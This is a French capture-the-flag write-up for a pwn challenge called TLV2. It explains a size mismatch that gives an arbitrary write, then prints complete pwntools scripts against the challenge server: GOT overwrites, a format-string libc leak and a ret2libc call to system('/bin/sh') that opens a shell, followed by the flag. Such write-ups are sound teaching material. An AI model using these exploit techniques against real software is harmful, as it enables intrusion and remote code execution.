Enoncé
Bon, il semblerait que mon premier essai n’était pas des meilleurs… J’ai amélioré mon programme pour y ajouter plus de sécurité.
nc 35.180.250.126 1337

Reconnaissance
Le binaire « TLV2.elf » qui est fourni est un exécutable linux x86-64.

En termes de protections:
- Partial RELRO: La Global Offset Table (GOT) est réinscriptible.
- Canary: Protections contre les buffers overflow
- NX: La stack n’est pas exécutable
- No PIE: Les adresses du programme seront fixes

Reverse
Trois fonctions semblent importantes ici:
- get_tag
- get_value
- Main

La fonction get_tag écrit un long int (de taille 8 bytes), provenant de stdin (entrée utilisateur), et l’écrit à l’adresse passée en argument.

La fonction get_value appelle la fonction getline, qui récupère l’entrée utilisateur, et l’alloue à l’adresse passée en argument. Si cette valeur est nulle, l’adresse sera allouée dans la heap.
Enfin, get_value retire s’il y en a un, le retour à la ligne.

La fonction main récupère un tag à l’adresse rbp-0x20, et récupère une valeur à l’adresse rbp-0x1c. Le programme récupère alors la taille de l’entrée utilisateur, et affiche le tag, la taille de l’entrée utilisateur, et l’entrée utilisateur.
La vulnérabilité
Le tag récupéré par la fonction get_tag est de taille 8 bytes. Cependant, la variable dans laquelle ce dernier est stocké est de taille 4 bytes, permettant de dépasser sur l’adresse envoyée dans get_value (qui sera envoyée en argument de getline). Ainsi, plutôt que d’envoyer un argument nul à get_value, il est possible d’y envoyer une adresse, et d’y réécrire son contenu.
On a donc un Arbitrary Write.
Exploitation – ret2main et préparation
Comme la GOT est réinscriptible, on va s’en servir pour réécrire les adresses des fonctions et les réarranger.
Premièrement, on va réécrire strlen, et la remplacer par l’adresse de main, pour pouvoir réécrire à l’infini.
Aussi, pour pouvoir commencer à lire la mémoire, on va remplacer la fonction strcspn (qui retirait le retour à la ligne dans l’entrée utilisateur), par la fonction printf, pour introduire une vulnérabilité format string, qui nous permettra de lire la mémoire.
from pwn import *
r = remote('35.180.250.126',1337)
#ret2main
r.recvline()
reloc_puts = 0x00404008
#On envoie reloc_puts en argument de la fonction get_value:
val = 0xffffffff|reloc_puts<<32
payload = str(val).encode()
r.sendline(payload)
r.recvline()
main = 0x00401373
printf = 0x00401070
#on remplacer les adresses dans la got:
payload = p64(0x00401040)+p64(main)+p64(0x00401060)+p64(0x00401070)+p64(printf)+p64(0x00401090)+p64(0x004010a0)+p64(0x004010b0)+p64(0x004010c0)
r.sendline(payload)
Exploitation – leak, et récupération d’un shell

Maintenant que l’on peut leak la mémoire, on va récupérer l’adresse des fonctions de la GOT, pour pouvoir trouver l’adresse de la fonction system.
Pour cela, on va premièrement trouver l’adresse de notre entrée dans la mémoire. En regardant la stack, on peut voir que l’adresse que l’on a indiqué (le tag) se trouve en position 25, on peut donc récupérer l’adresse de puts dans la libc.
Ici en exécutant le programme en local:

Pour en savoir plus sur les formats string, n’hésitez pas à lire l’article sur l’épreuve du même CTF: rot13 as a service..
Après avoir discuté avec l’auteur de challenge, le programme tourne dans un docker Archlinux à jour. On peut alors s’en servir pour récupérer la libc et récupérer l’adresse de system:
docker run -t archlinux:latest
docker ps #récupérer l'id du docker
docker cp [id]:/usr/lib/libc.so.6 ./
Enfin, on peut remplacer l’adresse de strscpn par l’adresse de system. On peut écraser l’adresse juste avant pour que la chaine de caractère commence par « /bin/sh ».
Solve.py
from pwn import *
r = remote('35.180.250.126',1337)
#ret2main
r.recvline()
reloc_puts = 0x00404008
val = 0xffffffff|reloc_puts<<32
payload = str(val).encode()
r.sendline(payload)
r.recvline()
main = 0x00401373
payload = p64(0x00401040) + p64(main)+p64(0x00401060)+p64(0x00401070)+p64(0x00401070)+p64(0x00401090)+p64(0x004010a0)+p64(0x004010b0)+p64(0x004010c0)
r.sendline(payload)
#leak_libc
r.recvline()
r.sendline(b'1')
r.recvline()
r.sendline(b'%25$s')
leaked_puts = int.from_bytes(r.recvline()[:-1], 'little')
libc_puts = 0x00079bf0
libc_start = leaked_puts - libc_puts
libc_system = 0x0004f760
#system
r.recvline()
reloc_printf = 0x00404020
val = 0xffffffff|reloc_printf<<32
payload = str(val).encode()
r.sendline(payload)
r.recvline()
payload = b'/bin/sh\x00'+p64(libc_start+libc_system)
r.sendline(payload)
r.interactive()

FLAG
HACKVENS{Typ3_C0nfUs10n1337}